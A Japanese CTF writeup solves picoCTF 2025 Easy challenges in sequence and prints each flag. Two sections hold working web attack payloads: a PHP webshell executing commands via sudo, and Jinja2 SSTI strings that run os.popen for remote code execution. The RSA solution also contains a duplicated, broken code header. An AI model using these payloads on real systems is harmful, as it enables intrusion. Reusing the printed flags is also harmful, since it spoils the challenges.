picoCTF 2025 Level: Easy
「Rust fixme 1 : General Skills」
- Description: Have you heard of Rust? Fix the syntax errors in this Rust file to print the flag!
指示に従って,シンタックスエラーを修正し実行すると Flag を入手
use xor_cryptor::XORCryptor;
fn main() {
let key = String::from("CSUCKS");
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
"25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6",
"50", "d3", "35",
];
let encrypted_buffer: Vec<u8> = hex_values
.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let res = XORCryptor::new(&key);
if res.is_err() {
return; }
let xrc = res.unwrap();
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
println!(
"{:?}", String::from_utf8_lossy(&decrypted_buffer)
);
}
$ cargo run
"picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}"
「Rust fixme 2 : General Skills」
- Description: The Rust saga continues? I ask you, can I borrow that, pleeeeeaaaasseeeee?
can I borrow that
と言っているため,Rust の所有権と借用に関する問題と推測
decrypt 関数の borrowed_string 引数を可変参照でで受け取り,main 関数の party_foul 変数を可変にした後,関数呼び出しを修正し Flag を入手
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
let key = String::from("CSUCKS");
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
let res = XORCryptor::new(&key);
if res.is_err() {
return; }
let xrc = res.unwrap();
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
"25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9",
"42", "5b",
];
let encrypted_buffer: Vec<u8> = hex_values
.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory unsafe languages is a: "); decrypt(encrypted_buffer, &mut party_foul); }
$ cargo run
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{4r3_y0u_h4v1n5_fun_y31?}
「Rust fixme 3 : General Skills」
- Description: Have you heard of Rust? Fix the syntax errors in this Rust file to print the flag!
std::slice::from_raw_parts
は unsafe ブロック内で実行することが求められるため,コメントを解除することで Flag を入手
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
let key = String::from("CSUCKS");
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
let res = XORCryptor::new(&key);
if res.is_err() {
return;
}
let xrc = res.unwrap();
unsafe {
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
let decrypted_ptr = decrypted_buffer.as_ptr();
let decrypted_len = decrypted_buffer.len();
let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);
borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
}
println!("{}", borrowed_string);
}
fn main() {
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01",
"35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3",
"61", "f9", "35",
];
let encrypted_buffer: Vec<u8> = hex_values
.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory unsafe languages is a: ");
decrypt(encrypted_buffer, &mut party_foul);
}
$ cargo run
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{n0w_y0uv3_f1x3d_1h3m_411}
「Ph4nt0m 1ntrud3r : Forensics」
- Description: A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag. To solve this challenge, you’ll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder! Find the PCAP file here Network Traffic PCAP file and try to get the flag.
IP アドレス 192.168.0.2:20 のクライアントが,192.168.1.2:80 のサーバーに対して連続的に SYN パケットを再送信しています.
これは,侵入のためのフットプリンティングとしてステルススキャンを行っているが,ファイアウォールやポートが閉じていることでスキャンが失敗しているという状況であると考えられます.
時系列順にして内容を見てみると,Time: 0.002861 以降のパケット長さが連続的に 12||4 であり,ペイロードの末尾に base64 のパディングと思われる==
の付いた値が存在します.
最後のパケットは len が 4 となっておりペイロードの 6 番セグメントを base64 デコードするとfQ==
=}
となり flag フォーマットの末尾部分であると推測されます.

よって,以下のコマンドで Flag のセグメントを抽出・デコードし Flag を入手.
$ tshark -r myNetworkTraffic.pcap -Y "tcp.len==12 || tcp.len==4" -T fields -e frame.time_epoch -e tcp.segment_data | sort -k1n | awk '{print $2}' | xxd -p -r | base64 -d
picoCTF{1t_w4snt_th4t_34sy_tbh_4r_966d0bfb}
コマンドの概要
INFOtshark
: wireshark のコマンドライン版
-Y 'tcp.len==12 || tcp.len==4'
: tcp パケットの長さが 4 又は 12 であるものをフィルタリング
-e frame.time_epoch
: time を UNIX Timestamp として出力
-e tcp.segment_data
: tcp のペイロードを抽出
sort -k1n
: 入力の 1 番目のフィールド(time)を基準にして数値としてソートする
awk '{print $1}'
: ソートされた出力から 2 番目(ペイロード)を抽出し,表示
xxd -p -r
: 16 進数ダンプをバイナリに逆変換し,ASCII にマッピングし出力
base64 -d
: base64 ASCII をデコード
「RED : Forensics」
- Description: RED, RED, RED, RED
一面#FE0000
に見えますが,カラーピッカーで確認してみると#FE0201
等の異なるピクセルが散見されます.
これは,ステガノグラフィ(画像や映像,音声などに情報を隠すこと)の兆候であると考えました.
zsteg を利用して lsb を抽出してみると,ポエム?と base64 のような値が存在するため base64 デコードすると Flag が入手できました.

$ zsteg red.png --lsb
meta Poem .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
b2,g,lsb,xy .. text: "ET@UETPETUUT@TUUTD@PDUDDDPE"
b2,rgb,lsb,xy .. file: OpenPGP Secret Key
b2,rgba,lsb,xy .. file: OpenPGP Secret Key
b2,abgr,lsb,xy .. file: OpenPGP Secret Key
b4,b,lsb,xy .. file: 0421 Alliant compact executable not stripped
zsteg red.png --lsb | grep -o -m1 '[A-Za-z0-9+/]\{20,\}==' | head -n1 | base64 -d
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}
「Cookie Monster Secret Recipe : Web」
- Description: Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe? Additional details will be available after launching your challenge instance.
インスタンスを起動し,サイトにアクセスするとログインページが表示されます.

試しに,admin:admin でログインしてみるとMe no need password. Me just need cookies!
と表示されるため,Cookie を見に行ってみます.
Cookie:secret_recipe:cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0M0MzBBRTIwfQ
が設定されており,
base64 ぽいので無効な入力を避けるためパディング==
を付与し base64 デコードすると,Flag が入手できました.

echo "cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0M0MzBBRTIwfQ==" | base64 -d
picoCTF{c00k1e_m0nster_l0ves_c00kies_C430AE20}
「EVEN RSA CAN BE BROKEN??? : Crypto」
- Description: This service provides you an encrypted flag. Can you decrypt it with just N & e?
$ nc verbal-sleep.picoctf.net 61804
N: 21229056098572995666091658442653675810639229388748713168409971987954176145747273827391340667966354155785161336579637017370263919499586549578168238354987866
e: 65537
cyphertext: 20934298771247117505609568918706793628542750415555449937617570032603076523856809428500052843286319835113265220011676840814557811305291828798203792208326121
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes
e = 65537
def gen_key(k):
p,q = get_primes(k//2)
N = p*q
d = inverse(e, (p-1)*(q-1))
return ((N,e), d)
def encrypt(pubkey, m):
N,e = pubkey
return pow(bytes_to_long(m.encode('utf-8')), e, N)
def main(flag):
pubkey, _privkey = gen_key(1024)
encrypted = encrypt(pubkey, flag)
return (pubkey[0], encrypted)
if __name__ == "__main__":
flag = open('flag.txt', 'r').read()
flag = flag.strip()
N, cypher = main(flag)
print("N:", N)
print("e:", e)
print("cyphertext:", cypher)
exit()
N が複数回取得できるため,共通素因数攻撃を行います.
use num_bigint::{BigInt, BigUint, ToBigInt};
use num_integer::Integer;
use num_traits::{One, Zero};
fn main() {
use num_bigint::{BigInt, BigUint, ToBigInt};
use num_integer::Integer;
use num_traits::{One, Zero};
fn main() {
let ns = [
BigUint::parse_bytes(b"17544778771822348050429696410055438429514470575819720805639684744939609825364506765170536205361565263430309206000067391957074313665324638138603006327871634", 10).unwrap(),
BigUint::parse_bytes(b"21938361481059928734165968488305012588222240843706485279987007599409622494130177350586066216540997454546134097731495576753873314703158838158332892707709434", 10).unwrap(),
];
let cyphertexts = [
BigUint::parse_bytes(b"13366434090909550580240467019283403575303333197543836206966700213252472043238783869357070638958349128202613212796662365468107821180943921794049264034920007", 10).unwrap(),
BigUint::parse_bytes(b"13548064608695948705724546750575737348039444165595448206325767477508828716937815907844584787745780233498172648736033407509896145989109039377408920719885165", 10).unwrap(),
];
let e = BigUint::from(65537u32);
for i in 0..ns.len() {
for j in (i + 1)..ns.len() {
let gcd = ns[i].gcd(&ns[j]);
if gcd > BigUint::one() {
println!("N[{}]とN[{}]のGCD: {}", i, j, &gcd);
let p = gcd.clone();
let q = &ns[i] / &p;
let n = &ns[i];
let cyphertext = &cyphertexts[i];
let phi = (&p - BigUint::one()) * (&q - BigUint::one());
fn modinv(a: &BigUint, m: &BigUint) -> Option<BigUint> {
let zero = BigInt::zero();
let one = BigInt::one();
let mut mn = (m.to_bigint().unwrap(), a.to_bigint().unwrap());
let mut xy = (zero.clone(), one.clone());
while mn.1 != zero {
let q = &mn.0 / &mn.1;
mn = (mn.1.clone(), &mn.0 - &q * &mn.1);
xy = (xy.1.clone(), &xy.0 - &q * &xy.1);
}
if mn.0 != one {
return None;
}
while xy.0 < zero {
xy.0 += m.to_bigint().unwrap();
}
Some(xy.0.to_biguint().unwrap())
}
let d = modinv(&e, &phi).expect("inverse not found");
let m = cyphertext.modpow(&d, n);
let bytes = m.to_bytes_be();
let ascii: String = bytes
.iter()
.filter(|&&b| (0x20..=0x7E).contains(&b))
.map(|&b| b as char)
.collect();
println!("ASCII復号結果: {}", ascii);
}
}
}
}
Flag を入手することができました.
$ cargo run
N[0]とN[1]のGCD: 2
ASCII復号結果: picoCTF{tw0_1$_pr!m3df98b648}
「FANTASY CTF : General Skills」
- Description: Play this short game to get familiar with terminal applications and some of the most important rules in scope for picoCTF. Additional details will be available after launching your challenge instance.
インスタンスに接続し選択肢に従うと,Flag を入手
END OF FANTASY CTF SIMULATION
Thank you for playing! To reemphasize some rules for this year:
1. Register only one account.
2. Do not share accounts, flags or artifact downloads.
3. Wait to publish writeups publicly until after the organizers announce the
winners.
4. picoCTF{m1113n1um_3d1710n_3b6c6fab} is a real flag! Submit it for some
points in picoCTF 2025!
「Flag Hunters : Reverse Engineering」
import re
import time
flag = open('flag.txt', 'r').read()
secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'
song_flag_hunters = secret_intro +\
'''
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN
[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?
REFRAIN;
Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.
REFRAIN;
Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.
REFRAIN;
Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.
REFRAIN;
SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.
REFRAIN;
Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.
REFRAIN;
END;
'''
MAX_LINES = 100
def reader(song, startLabel):
lip = 0 start = 0 refrain = 0 refrain_return = 0 finished = False
song_lines = song.splitlines()
for i in range(0, len(song_lines)):
if song_lines[i] == startLabel:
start = i + 1
elif song_lines[i] == '[REFRAIN]':
refrain = i + 1
elif song_lines[i] == 'RETURN':
refrain_return = i
line_count = 0
lip = start
while not finished and line_count < MAX_LINES:
line_count += 1
for line in song_lines[lip].split(';'):
if line == '' and song_lines[lip] != '':
continue
if line == 'REFRAIN':
song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
lip = refrain
elif re.match(r"CROWD.*", line):
crowd = input('Crowd: ')
song_lines[lip] = 'Crowd: ' + crowd
lip += 1
elif re.match(r"RETURN [0-9]+", line):
lip = int(line.split()[1])
elif line == 'END':
finished = True
else:
print(line, flush=True)
time.sleep(0.5) lip += 1
reader(song_flag_hunters, '[VERSE1]')
歌詞の中に flag が組み込まれるので,コードの実行中に必ず出力される可能性があることが分かりました.
また,この歌詞パーサはセミコロン;
を区切り文字として認識しています.
つまり,ユーザーが Crowd:
入力で ;RETURN 0
や ;END
を入れると,その入力が 次の命令として実行される設計(CROWD 入力から任意のジャンプを仕込める)となっています.
この脆弱性を使用して,制御フローの改竄を行い Flag を表示させます.
攻撃フロー: ;RETURN 0
を入力し,プログラムが歌詞の冒頭(secret_intro を含む)から再実行され,組み込まれた Flag が標準出力に表示される.
これで,Flag を入手することができました.
$ nc verbal-sleep.picoctf.net 61023
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: ;RETURN 0 <--- ここで制御フローインジェクションを行う
Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
「hashcrack : Cryptography」
- Description: A company stored a secret message on a server which got breached due to the admin using weakly hashed passwords. Can you gain access to the secret stored within the server?
ある企業がサーバーに秘密メッセージを保存していたが,管理者が脆弱なハッシュ処理のパスワードを使用していたためサーバーが侵害された. このサーバー内に保存された秘密情報にアクセスできるか?という問題です.
サーバーにアクセスした際に表示されるハッシュをCrackStationを用いてクラックします.
アルゴリズムがmd5
でパスワードがpassword123
であることが分かりました.
次のハッシュでも同様にクラックします.
- md5: password123
- sha1: letmein
- sha256: qwerty098
これで,Flag を入手しました.
$ nc verbal-sleep.picoctf.net 64927
Welcome!! Looking For the Secret?
We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38
Enter the password for identified hash: password123
Correct! You've cracked the MD5 hash with no secret found!
Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3
Enter the password for the identified hash: letmein
Correct! You've cracked the SHA-1 hash with no secret found!
Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745
Enter the password for the identified hash: qwerty098
Correct! You've cracked the SHA-256 hash with a secret found.
The flag is: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_ccc21957}
「head-dump : Web Exploitation」
INFOMATIONこのインスタンスは,メンテナンス中です.[2025/09/09 時点]
「n0s4n1ty 1 : Web Exploitation」
- Description: A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.
開発者がウェブサイトにプロフィール画像のアップロード機能を追加したが,実装に欠陥がある.
ファイルアップロード領域を見つけ出すことがあなたの任務であり,最終目標は,/root ディレクトリ内に隠されたフラグを発見すること.

サイトにアクセスすると,プロフィール画像ファイルのアップロードフォームが表示されます.
ソースコードを確認しても特に何もないため,ディレクトリ探索を行います.
$ gobuster dir -u http://standard-pizzas.picoctf.net:60672 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://standard-pizzas.picoctf.net:60672
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/.htaccess (Status: 403) [Size: 295]
/index.php (Status: 200) [Size: 1908]
/server-status (Status: 403) [Size: 295]
/uploads (Status: 301) [Size: 353] [--> http://standard-pizzas.picoctf.net:60672/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
/uploads
が存在することが分かったため,試しに webshellshell.php
をアップロードしwhoami
で動作を確認します.
<?php system($_GET['cmd']); ?>
sudo -l
の出力では,www ユーザーは完全な管理者権限を持っているため,そのまま Flag を入手できました.
http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=whoami
www
http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=sudo%20-l
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL
http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=sudo%20ls%20/root
flag.txt
http://standard-pizzas.picoctf.net:52195/uploads/shell.php?cmd=sudo%20ls%20/root/flag.txt
picoCTF{wh47_c4n_u_d0_wPHP_56060bd8}
「PIE TIME : Binary Exploitation」
- Description: Can you try to get the flag? Beware we have PIE!
PIE(Position Independent Executable)
があると言っており,checksec の出力でも enabled になっているため,実行ごとにベースアドレスがランダム化されます.
$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 78 Symbols No 0 1 vuln
vuln.c
では,任意のアドレスを入力すればそのアドレスにジャンプできるように設計されています.
ので,win 関数のアドレスを調べそのアドレスに飛ぶことができれば,フラグを入手できると考えました.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler()
{
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win()
{
FILE *fptr;
char c;
printf("You won!\n");
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
c = fgetc(fptr);
while (c != EOF)
{
printf("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main()
{
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val); printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
まずは,win 関数のアドレスを調べます.
アドレスが 0x12a7 であることが分かりました.
実際の win アドレス = バイナリのロードベース + オフセット(バイナリのロードベース = main のアドレス - main のオフセット)
で求まるので,この式で win アドレスが求まります.
これで,Flag を入手できました.
$ nm vuln | grep main
000000000000133d T main <--- main オフセット 0x133d
$ nm vuln | grep win
00000000000012a7 T win <--- win オフセット 0x12a7
$ nc rescued-float.picoctf.net 61965
Address of main: 0x588d558e133d <--- 実行時 main アドレス
Enter the address to jump to, ex => 0x12345: 0x588d558e12a7
Your input: 588d558e12a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_801240da}
python で win アドレス求める
main_runtime = 0x588d558e133d
main_offset = 0x133d
win_offset = 0x12a7
base = main_runtime - main_offset
win_addr = base + win_offset
print(hex(win_addr))
「SSTI1 : Web Exploitation」
- Description: I made a cool website where you can announce whatever you want! Try it out!
SSTI というタイトルから,SSTI(Server Side Template Injection)
である可能性を考えます.
これは,Web アプリケーションでテンプレートエンジンを使うときに起きる脆弱性であり,ユーザー入力を安全にエスケープせずにテンプレートに埋め込むことで発生します,
攻撃者はテンプレート構文を直接注入しサーバー上でコードを実行できる可能性があります.

SSTI が通るかを確認するために,{{7*7}}
を埋め込みましたが49
がレスポンスされ SSTI 脆弱性が存在することが分かりました.
また,Jinja2 で動作していることも確認出来ました.
いろいろとペイロードを試行錯誤していたら,{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
だと通ることが確認できたため,flag のパスを確認して,cat すると Flag を入手できました.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
uid=0(root) gid=0(root) groups=0(root)
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls').read() }}
__pycache__ app.py flag requirements.txt
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_bdc95c1a}
これで,Easy の全ての攻略が完了しました.